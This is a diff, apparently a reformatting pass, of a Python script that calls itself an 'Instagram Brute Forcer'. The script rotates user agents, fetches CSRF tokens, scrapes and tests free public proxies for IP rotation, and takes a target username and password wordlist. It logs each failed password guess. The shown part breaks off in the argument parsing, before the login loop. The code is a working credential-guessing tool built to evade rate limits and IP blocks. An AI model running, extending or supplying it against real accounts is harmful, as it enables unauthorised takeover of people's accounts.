|
|
@@ -35,7 +35,7 @@ import os
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def get_user_agent():
|
|
|
|
def get_user_agent():
|
|
|
|
user_agent_list = '''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
|
|
|
|
user_agent_list = """Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
|
|
|
|
Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
|
|
|
|
Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
|
|
|
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
|
|
|
|
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
|
|
|
|
Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
|
|
|
|
Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
|
|
|
@@ -60,115 +60,146 @@ Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like G
|
|
|
|
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3
|
|
|
|
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3
|
|
|
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2
|
|
|
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2
|
|
|
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2
|
|
|
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2
|
|
|
|
Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2
|
|
|
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2
|
|
|
|
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6
|
|
|
|
|
|
|
|
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6
|
|
|
|
|
|
|
|
Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
|
|
|
|
|
|
|
|
Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
|
|
|
|
|
|
|
|
Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5
|
|
|
|
|
|
|
|
Mozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5
|
|
|
|
|
|
|
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6
|
|
|
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6
|
|
|
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5'''
|
|
|
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5"""
|
|
|
|
|
|
|
|
|
|
|
|
# get random line from user agent list
|
|
|
|
# get random line from user agent list
|
|
|
|
return random.choice(user_agent_list.splitlines())
|
|
|
|
return random.choice(user_agent_list.splitlines())
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def get_csrf_token():
|
|
|
|
def get_csrf_token():
|
|
|
|
session = requests.Session()
|
|
|
|
session = requests.Session()
|
|
|
|
|
|
|
|
|
|
|
|
header = {
|
|
|
|
header = {
|
|
|
|
'Accept-Language': 'en-US,en;q=0.5',
|
|
|
|
"Accept-Language": "en-US,en;q=0.5",
|
|
|
|
'Accept-Encoding': 'gzip, deflate, br',
|
|
|
|
"Accept-Encoding": "gzip, deflate, br",
|
|
|
|
'Connection': 'keep-alive',
|
|
|
|
"Connection": "keep-alive",
|
|
|
|
'Content-Length': '0',
|
|
|
|
"Content-Length": "0",
|
|
|
|
'Host': 'www.instagram.com',
|
|
|
|
"Host": "www.instagram.com",
|
|
|
|
'Origin': 'https://www.instagram.com',
|
|
|
|
"Origin": "https://www.instagram.com",
|
|
|
|
'Referer': 'https://www.instagram.com/',
|
|
|
|
"Referer": "https://www.instagram.com/",
|
|
|
|
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0',
|
|
|
|
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0",
|
|
|
|
'X-Instagram-AJAX': '1',
|
|
|
|
"X-Instagram-AJAX": "1",
|
|
|
|
'X-Requested-With': 'XMLHttpRequest'
|
|
|
|
"X-Requested-With": "XMLHttpRequest",
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
cookies = {
|
|
|
|
cookies = {
|
|
|
|
'sessionid': '',
|
|
|
|
"sessionid": "",
|
|
|
|
'mid': '',
|
|
|
|
"mid": "",
|
|
|
|
'ig_pr': '1',
|
|
|
|
"ig_pr": "1",
|
|
|
|
'ig_vw': '1920',
|
|
|
|
"ig_vw": "1920",
|
|
|
|
'csrftoken': '',
|
|
|
|
"csrftoken": "",
|
|
|
|
's_network': '',
|
|
|
|
"s_network": "",
|
|
|
|
'ds_user_id': ''
|
|
|
|
"ds_user_id": "",
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
session.headers.update(header)
|
|
|
|
session.headers.update(header)
|
|
|
|
session.cookies.update(cookies)
|
|
|
|
session.cookies.update(cookies)
|
|
|
|
|
|
|
|
|
|
|
|
content = session.get('https://www.instagram.com/')
|
|
|
|
while True:
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
|
|
|
content = session.get("https://www.instagram.com/", timeout=10)
|
|
|
|
|
|
|
|
if "csrftoken" in content.cookies:
|
|
|
|
|
|
|
|
return content.cookies["csrftoken"]
|
|
|
|
|
|
|
|
else:
|
|
|
|
|
|
|
|
print("CSRF token not found in cookies. Retrying in 5 seconds...")
|
|
|
|
|
|
|
|
time.sleep(5)
|
|
|
|
|
|
|
|
except requests.exceptions.RequestException as e:
|
|
|
|
|
|
|
|
print(f"Error obtaining CSRF token: {e}")
|
|
|
|
|
|
|
|
print("Retrying in 5 seconds...")
|
|
|
|
|
|
|
|
time.sleep(5)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def check_connection():
|
|
|
|
|
|
|
|
while True:
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
|
|
|
r = requests.get("https://www.instagram.com", timeout=10)
|
|
|
|
|
|
|
|
if r.status_code == 200:
|
|
|
|
|
|
|
|
return True
|
|
|
|
|
|
|
|
else:
|
|
|
|
|
|
|
|
return False
|
|
|
|
|
|
|
|
except requests.exceptions.RequestException as e:
|
|
|
|
|
|
|
|
print(f"Connection error: {e}")
|
|
|
|
|
|
|
|
print("Retrying in 5 seconds...")
|
|
|
|
|
|
|
|
time.sleep(5)
|
|
|
|
|
|
|
|
|
|
|
|
return content.cookies['csrftoken']
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def get_public_ip():
|
|
|
|
def get_public_ip():
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
r = requests.get('https://api.ipify.org', timeout=10).text
|
|
|
|
r = requests.get("https://api.ipify.org", timeout=10).text
|
|
|
|
except:
|
|
|
|
except:
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
r = requests.get('https://ip.seeip.org', timeout=10).text
|
|
|
|
r = requests.get("https://ip.seeip.org", timeout=10).text
|
|
|
|
except:
|
|
|
|
except:
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
r = requests.get('https://api.myip.com', timeout=10).json()['ip']
|
|
|
|
r = requests.get("https://api.myip.com", timeout=10).json()["ip"]
|
|
|
|
except:
|
|
|
|
except:
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
r = requests.get('https://ipinfo.io/ip', timeout=10).text
|
|
|
|
r = requests.get("https://ipinfo.io/ip", timeout=10).text
|
|
|
|
except:
|
|
|
|
except:
|
|
|
|
r = 'Failed to fetch public ip'
|
|
|
|
r = "Failed to fetch public ip"
|
|
|
|
|
|
|
|
|
|
|
|
if r == '': r = 'Failed to fetch public ip'
|
|
|
|
if r == "":
|
|
|
|
|
|
|
|
r = "Failed to fetch public ip"
|
|
|
|
|
|
|
|
|
|
|
|
return r
|
|
|
|
return r
|
|
|
|
|
|
|
|
|
|
|
|
def printit(text, center='', line_up=False, line_down=False, space_up=False, space_down=False, coledt=[0, 0, 0], normaltxt_start='', normaltxt_end='', hide=False, verbose_mode=False):
|
|
|
|
|
|
|
|
|
|
|
|
def printit(
|
|
|
|
|
|
|
|
text,
|
|
|
|
|
|
|
|
center="",
|
|
|
|
|
|
|
|
line_up=False,
|
|
|
|
|
|
|
|
line_down=False,
|
|
|
|
|
|
|
|
space_up=False,
|
|
|
|
|
|
|
|
space_down=False,
|
|
|
|
|
|
|
|
coledt=[0, 0, 0],
|
|
|
|
|
|
|
|
normaltxt_start="",
|
|
|
|
|
|
|
|
normaltxt_end="",
|
|
|
|
|
|
|
|
hide=False,
|
|
|
|
|
|
|
|
verbose_mode=False,
|
|
|
|
|
|
|
|
):
|
|
|
|
if not hide or verbose_mode:
|
|
|
|
if not hide or verbose_mode:
|
|
|
|
# get terminal width
|
|
|
|
# get terminal width
|
|
|
|
width = os.get_terminal_size().columns
|
|
|
|
width = os.get_terminal_size().columns
|
|
|
|
|
|
|
|
|
|
|
|
# printing text
|
|
|
|
# printing text
|
|
|
|
if space_up: print()
|
|
|
|
if space_up:
|
|
|
|
if line_up: print('⸺'*width)
|
|
|
|
print()
|
|
|
|
|
|
|
|
if line_up:
|
|
|
|
|
|
|
|
print("⸺" * width)
|
|
|
|
|
|
|
|
|
|
|
|
print(normaltxt_start, end='')
|
|
|
|
print(normaltxt_start, end="")
|
|
|
|
|
|
|
|
|
|
|
|
if len(text) < width:
|
|
|
|
if len(text) < width:
|
|
|
|
new_width = int((width - len(text))/2)
|
|
|
|
new_width = int((width - len(text)) / 2)
|
|
|
|
print(center*new_width, end='')
|
|
|
|
print(center * new_width, end="")
|
|
|
|
print(f'\33[{coledt[0]};{coledt[1]};{coledt[2]}m'+text+'\033[0m', end='')
|
|
|
|
print(
|
|
|
|
print(center*new_width)
|
|
|
|
f"\33[{coledt[0]};{coledt[1]};{coledt[2]}m" + text + "\033[0m", end=""
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
print(center * new_width)
|
|
|
|
|
|
|
|
|
|
|
|
# print(normaltxt_end, end='')
|
|
|
|
# print(normaltxt_end, end='')
|
|
|
|
|
|
|
|
|
|
|
|
if line_down: print('⸺'*width)
|
|
|
|
if line_down:
|
|
|
|
if space_down: print()
|
|
|
|
print("⸺" * width)
|
|
|
|
|
|
|
|
if space_down:
|
|
|
|
|
|
|
|
print()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def printit2(text, coledt=[0, 0, 0], normaltxt_start=""):
|
|
|
|
|
|
|
|
print(normaltxt_start, end="")
|
|
|
|
|
|
|
|
print(f"\33[{coledt[0]};{coledt[1]};{coledt[2]}m", end="")
|
|
|
|
|
|
|
|
print(text, end="")
|
|
|
|
|
|
|
|
print("\033[0m", end="")
|
|
|
|
|
|
|
|
|
|
|
|
def printit2(text, coledt=[0, 0, 0], normaltxt_start=''):
|
|
|
|
|
|
|
|
print(normaltxt_start, end='')
|
|
|
|
|
|
|
|
print(f'\33[{coledt[0]};{coledt[1]};{coledt[2]}m', end='')
|
|
|
|
|
|
|
|
print(text, end='')
|
|
|
|
|
|
|
|
print('\033[0m', end='')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def install(package):
|
|
|
|
def install(package):
|
|
|
|
import subprocess
|
|
|
|
import subprocess
|
|
|
|
import sys
|
|
|
|
import sys
|
|
|
|
|
|
|
|
|
|
|
|
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
|
|
|
|
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
|
|
|
|
|
|
|
|
|
|
|
|
def check_connection():
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
|
|
|
r = requests.get('https://www.instagram.com', timeout=10)
|
|
|
|
|
|
|
|
if r.status_code == 200:
|
|
|
|
|
|
|
|
return True
|
|
|
|
|
|
|
|
else:
|
|
|
|
|
|
|
|
return False
|
|
|
|
|
|
|
|
except requests.exceptions.ConnectionError:
|
|
|
|
|
|
|
|
raise requests.exceptions.ConnectionError
|
|
|
|
|
|
|
|
except:
|
|
|
|
|
|
|
|
return False
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def get_working_proxies(verbose, proxies):
|
|
|
|
def get_working_proxies(verbose, proxies):
|
|
|
|
# Importing modules required for proxy
|
|
|
|
# Importing modules required for proxy
|
|
|
@@ -178,25 +209,44 @@ def get_working_proxies(verbose, proxies):
|
|
|
|
# Fetching working proxy list
|
|
|
|
# Fetching working proxy list
|
|
|
|
def fetch(session, proxy):
|
|
|
|
def fetch(session, proxy):
|
|
|
|
url = random.choice(check_proxies)
|
|
|
|
url = random.choice(check_proxies)
|
|
|
|
if verbose: printit(f"[+] Proxy: {proxy} | Checking url: {url}", coledt=[1, 49, 93])
|
|
|
|
if verbose:
|
|
|
|
with session.get(url, proxies={'http': proxy, 'https': proxy}, timeout=10) as response:
|
|
|
|
printit(f"[+] Proxy: {proxy} | Checking url: {url}", coledt=[1, 49, 93])
|
|
|
|
|
|
|
|
with session.get(
|
|
|
|
|
|
|
|
url, proxies={"http": proxy, "https": proxy}, timeout=10
|
|
|
|
|
|
|
|
) as response:
|
|
|
|
if response.status_code == 200:
|
|
|
|
if response.status_code == 200:
|
|
|
|
if verbose:
|
|
|
|
if verbose:
|
|
|
|
if url == "https://httpbin.org/ip":
|
|
|
|
if url == "https://httpbin.org/ip":
|
|
|
|
printit(f"[=] Proxy: {proxy} -> Response: {response.json()['origin']}", coledt=[1, 49, 33])
|
|
|
|
printit(
|
|
|
|
|
|
|
|
f"[=] Proxy: {proxy} -> Response: {response.json()['origin']}",
|
|
|
|
|
|
|
|
coledt=[1, 49, 33],
|
|
|
|
|
|
|
|
)
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
printit(f"[=] Proxy: {proxy} -> Response: {response.text.strip()}", coledt=[1, 49, 33])
|
|
|
|
printit(
|
|
|
|
|
|
|
|
f"[=] Proxy: {proxy} -> Response: {response.text.strip()}",
|
|
|
|
|
|
|
|
coledt=[1, 49, 33],
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
# match proxy ip (seprated by :) from response.text and ip returned by proxy/requests
|
|
|
|
# match proxy ip (seprated by :) from response.text and ip returned by proxy/requests
|
|
|
|
proxy_re = re.search(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", proxy).group()
|
|
|
|
proxy_re = re.search(
|
|
|
|
response_re = re.search(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", response.text).group()
|
|
|
|
r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", proxy
|
|
|
|
|
|
|
|
).group()
|
|
|
|
|
|
|
|
response_re = re.search(
|
|
|
|
|
|
|
|
r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", response.text
|
|
|
|
|
|
|
|
).group()
|
|
|
|
|
|
|
|
|
|
|
|
if proxy_re == response_re:
|
|
|
|
if proxy_re == response_re:
|
|
|
|
working_proxies.append(proxy)
|
|
|
|
working_proxies.append(proxy)
|
|
|
|
|
|
|
|
|
|
|
|
# Sorting working proxies
|
|
|
|
# Sorting working proxies
|
|
|
|
working_proxies = []
|
|
|
|
working_proxies = []
|
|
|
|
check_proxies = ["http://ident.me/", "https://httpbin.org/ip", "https://api.ipify.org/", "https://icanhazip.com/", "https://ip.oxylabs.io/ip"]
|
|
|
|
check_proxies = [
|
|
|
|
|
|
|
|
"http://ident.me/",
|
|
|
|
|
|
|
|
"https://httpbin.org/ip",
|
|
|
|
|
|
|
|
"https://api.ipify.org/",
|
|
|
|
|
|
|
|
"https://icanhazip.com/",
|
|
|
|
|
|
|
|
"https://ip.oxylabs.io/ip",
|
|
|
|
|
|
|
|
]
|
|
|
|
|
|
|
|
|
|
|
|
# Checking if the proxy is working
|
|
|
|
# Checking if the proxy is working
|
|
|
|
with requests.Session() as session:
|
|
|
|
with requests.Session() as session:
|
|
|
@@ -204,40 +254,59 @@ def get_working_proxies(verbose, proxies):
|
|
|
|
executor.map(fetch, [session] * len(proxies), proxies * len(proxies))
|
|
|
|
executor.map(fetch, [session] * len(proxies), proxies * len(proxies))
|
|
|
|
|
|
|
|
|
|
|
|
# Printing total working proxies
|
|
|
|
# Printing total working proxies
|
|
|
|
printit(str(len(working_proxies)), coledt=[1, 49, 96], normaltxt_start="\n[+] Total working proxies found: ", space_down=True, line_down=True)
|
|
|
|
printit(
|
|
|
|
|
|
|
|
str(len(working_proxies)),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="\n[+] Total working proxies found: ",
|
|
|
|
|
|
|
|
space_down=True,
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
return working_proxies
|
|
|
|
return working_proxies
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def builtin_proxy(verbose, proxy_limit):
|
|
|
|
def builtin_proxy(verbose, proxy_limit):
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
import bs4
|
|
|
|
import bs4
|
|
|
|
except:
|
|
|
|
except:
|
|
|
|
printit("[!] Installing required modules for proxy\n", coledt=[1, 49, 92], line_up=True, space_down=True)
|
|
|
|
printit(
|
|
|
|
install('beautifulsoup4')
|
|
|
|
"[!] Installing required modules for proxy\n",
|
|
|
|
printit("[+] Modules installed successfully\n", coledt=[1, 49, 92], space_up=True, line_down=True)
|
|
|
|
coledt=[1, 49, 92],
|
|
|
|
|
|
|
|
line_up=True,
|
|
|
|
|
|
|
|
space_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
install("beautifulsoup4")
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"[+] Modules installed successfully\n",
|
|
|
|
|
|
|
|
coledt=[1, 49, 92],
|
|
|
|
|
|
|
|
space_up=True,
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
import bs4
|
|
|
|
import bs4
|
|
|
|
|
|
|
|
|
|
|
|
# Sending a request to get proxy list
|
|
|
|
# Sending a request to get proxy list
|
|
|
|
url = 'https://free-proxy-list.net/' # 'https://www.freeproxylists.net/'
|
|
|
|
url = "https://free-proxy-list.net/" # 'https://www.freeproxylists.net/'
|
|
|
|
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Cafari/537.36'}
|
|
|
|
headers = {
|
|
|
|
|
|
|
|
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Cafari/537.36"
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
source = str(requests.get(url, headers=headers, timeout=10).text)
|
|
|
|
source = str(requests.get(url, headers=headers, timeout=10).text)
|
|
|
|
except:
|
|
|
|
except:
|
|
|
|
printit('[!] Failed to fetch proxy list', coledt=[1, 49, 91])
|
|
|
|
printit("[!] Failed to fetch proxy list", coledt=[1, 49, 91])
|
|
|
|
while True:
|
|
|
|
while True:
|
|
|
|
print("[?] Continue without proxy? (y/n): ", end='')
|
|
|
|
print("[?] Continue without proxy? (y/n): ", end="")
|
|
|
|
choice = input().lower()
|
|
|
|
choice = input().lower()
|
|
|
|
if choice == 'y':
|
|
|
|
if choice == "y":
|
|
|
|
return False
|
|
|
|
return False
|
|
|
|
elif choice == 'n':
|
|
|
|
elif choice == "n":
|
|
|
|
raise KeyboardInterrupt()
|
|
|
|
raise KeyboardInterrupt()
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
printit('\n[!] Enter y/Y for YES or n/N for NO', coledt=[1, 49, 91])
|
|
|
|
printit("\n[!] Enter y/Y for YES or n/N for NO", coledt=[1, 49, 91])
|
|
|
|
|
|
|
|
|
|
|
|
# Extracting the proxies from the page
|
|
|
|
# Extracting the proxies from the page
|
|
|
|
soup = bs4.BeautifulSoup(source, 'lxml')
|
|
|
|
soup = bs4.BeautifulSoup(source, "lxml")
|
|
|
|
proxies = soup.find_all('textarea')[0].text.split('\n')
|
|
|
|
proxies = soup.find_all("textarea")[0].text.split("\n")
|
|
|
|
proxies = [proxy for proxy in proxies if proxy.strip()]
|
|
|
|
proxies = [proxy for proxy in proxies if proxy.strip()]
|
|
|
|
|
|
|
|
|
|
|
|
# Removing the first two elements (non-proxy elements)
|
|
|
|
# Removing the first two elements (non-proxy elements)
|
|
|
@@ -249,8 +318,15 @@ def builtin_proxy(verbose, proxy_limit):
|
|
|
|
|
|
|
|
|
|
|
|
# Printing proxy info
|
|
|
|
# Printing proxy info
|
|
|
|
printit(f"[#] Generating proxies...", coledt=[1, 49, 91], line_up=True)
|
|
|
|
printit(f"[#] Generating proxies...", coledt=[1, 49, 91], line_up=True)
|
|
|
|
printit(str(len(proxies)), coledt=[1, 49, 96], normaltxt_start="[+] Total proxies avaliable: ")
|
|
|
|
printit(
|
|
|
|
printit(f"\n[+] Scanning working proxies...\n[!] This may take few mins...", coledt=[1, 49, 92])
|
|
|
|
str(len(proxies)),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="[+] Total proxies available: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
f"\n[+] Scanning working proxies...\n[!] This may take few mins...",
|
|
|
|
|
|
|
|
coledt=[1, 49, 92],
|
|
|
|
|
|
|
|
)
|
|
|
|
if verbose:
|
|
|
|
if verbose:
|
|
|
|
time.sleep(1)
|
|
|
|
time.sleep(1)
|
|
|
|
print()
|
|
|
|
print()
|
|
|
@@ -258,6 +334,7 @@ def builtin_proxy(verbose, proxy_limit):
|
|
|
|
# Returning working proxies (from the list)
|
|
|
|
# Returning working proxies (from the list)
|
|
|
|
return get_working_proxies(verbose, proxies)
|
|
|
|
return get_working_proxies(verbose, proxies)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def custom_proxy(verbose, file_proxies, proxy_limit):
|
|
|
|
def custom_proxy(verbose, file_proxies, proxy_limit):
|
|
|
|
# Reading the proxy file -> list
|
|
|
|
# Reading the proxy file -> list
|
|
|
|
proxies = file_proxies.read().splitlines()
|
|
|
|
proxies = file_proxies.read().splitlines()
|
|
|
@@ -267,8 +344,15 @@ def custom_proxy(verbose, file_proxies, proxy_limit):
|
|
|
|
|
|
|
|
|
|
|
|
# Printing proxy info
|
|
|
|
# Printing proxy info
|
|
|
|
printit("[#] Reading proxies...", coledt=[1, 49, 91], line_up=True)
|
|
|
|
printit("[#] Reading proxies...", coledt=[1, 49, 91], line_up=True)
|
|
|
|
printit(str(len(proxies)), coledt=[1, 49, 96], normaltxt_start="[+] Total proxies avaliable: ")
|
|
|
|
printit(
|
|
|
|
printit(f"\n[+] Scanning working proxies from proxy file...\n[!] This may take few mins...", coledt=[1, 49, 92])
|
|
|
|
str(len(proxies)),
|
|
|
|
|
|
|
|
coledt=[1, 49, 96],
|
|
|
|
|
|
|
|
normaltxt_start="[+] Total proxies available: ",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
f"\n[+] Scanning working proxies from proxy file...\n[!] This may take few mins...",
|
|
|
|
|
|
|
|
coledt=[1, 49, 92],
|
|
|
|
|
|
|
|
)
|
|
|
|
if verbose:
|
|
|
|
if verbose:
|
|
|
|
time.sleep(1)
|
|
|
|
time.sleep(1)
|
|
|
|
print()
|
|
|
|
print()
|
|
|
@@ -276,27 +360,85 @@ def custom_proxy(verbose, file_proxies, proxy_limit):
|
|
|
|
# Returning working proxies (from the list)
|
|
|
|
# Returning working proxies (from the list)
|
|
|
|
return get_working_proxies(verbose, proxies)
|
|
|
|
return get_working_proxies(verbose, proxies)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def print_login_failed(password, verbose, proxy, proxies, login_response_status_code):
|
|
|
|
def print_login_failed(password, verbose, proxy, proxies, login_response_status_code):
|
|
|
|
if proxy:
|
|
|
|
if proxy:
|
|
|
|
printit("["+str(proxies['http'])+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93], hide=True, verbose_mode=verbose)
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"["
|
|
|
|
|
|
|
|
+ str(proxies["http"])
|
|
|
|
|
|
|
|
+ "] Login failed (incorrect pwd: "
|
|
|
|
|
|
|
|
+ password
|
|
|
|
|
|
|
|
+ ")",
|
|
|
|
|
|
|
|
coledt=[1, 49, 93],
|
|
|
|
|
|
|
|
hide=True,
|
|
|
|
|
|
|
|
verbose_mode=verbose,
|
|
|
|
|
|
|
|
)
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
printit("["+str(login_response_status_code)+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93], hide=True, verbose_mode=verbose)
|
|
|
|
printit(
|
|
|
|
|
|
|
|
"["
|
|
|
|
|
|
|
|
+ str(login_response_status_code)
|
|
|
|
|
|
|
|
+ "] Login failed (incorrect pwd: "
|
|
|
|
|
|
|
|
+ password
|
|
|
|
|
|
|
|
+ ")",
|
|
|
|
|
|
|
|
coledt=[1, 49, 93],
|
|
|
|
|
|
|
|
hide=True,
|
|
|
|
|
|
|
|
verbose_mode=verbose,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def main():
|
|
|
|
def main():
|
|
|
|
# Taking command line arguments using argparse
|
|
|
|
# Taking command line arguments using argparse
|
|
|
|
parser = argparse.ArgumentParser(description='(s41r4j:igbf)> Instagram Brute Forcer')
|
|
|
|
parser = argparse.ArgumentParser(
|
|
|
|
parser.add_argument('-u', '--username', help='instagram username (*required)', metavar='USERNAME')
|
|
|
|
description="(s41r4j:igbf)> Instagram Brute Forcer"
|
|
|
|
parser.add_argument('-w', '--wordlist', help='password wordlist (*required)', metavar='WORDLIST PATH')
|
|
|
|
)
|
|
|
|
parser.add_argument('-t', '--timeout', help='timeout between each request in secs (default: 2)', default=2, type=int)
|
|
|
|
parser.add_argument(
|
|
|
|
parser.add_argument('-v', '--verbose', help='verbose mode (displays failed logins and more)', action='store_true', default=False)
|
|
|
|
"-u", "--username", help="instagram username (*required)", metavar="USERNAME"
|
|
|
|
parser.add_argument('-p', '--proxy', help='built-in ip rotating proxy (additinal library required)', action='store_true', default=False)
|
|
|
|
)
|
|
|
|
parser.add_argument('-l', '--proxy-limit', help='limit the number of proxies to use (default: 300; max: 300; min: 1)', default=300, type=int)
|
|
|
|
parser.add_argument(
|
|
|
|
parser.add_argument('-f', '--proxy-file', help='use custom proxy file (`-p` & `-l` disabled)', metavar='PROXY FILE PATH', default=False)
|
|
|
|
"-w",
|
|
|
|
|
|
|
|
"--wordlist",
|
|
|
|
|
|
|
|
help="password wordlist (*required)",
|
|
|
|
|
|
|
|
metavar="WORDLIST PATH",
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
parser.add_argument(
|
|
|
|
|
|
|
|
"-t",
|
|
|
|
|
|
|
|
"--timeout",
|
|
|
|
|
|
|
|
help="timeout between each request in secs (default: 2)",
|
|
|
|
|
|
|
|
default=2,
|
|
|
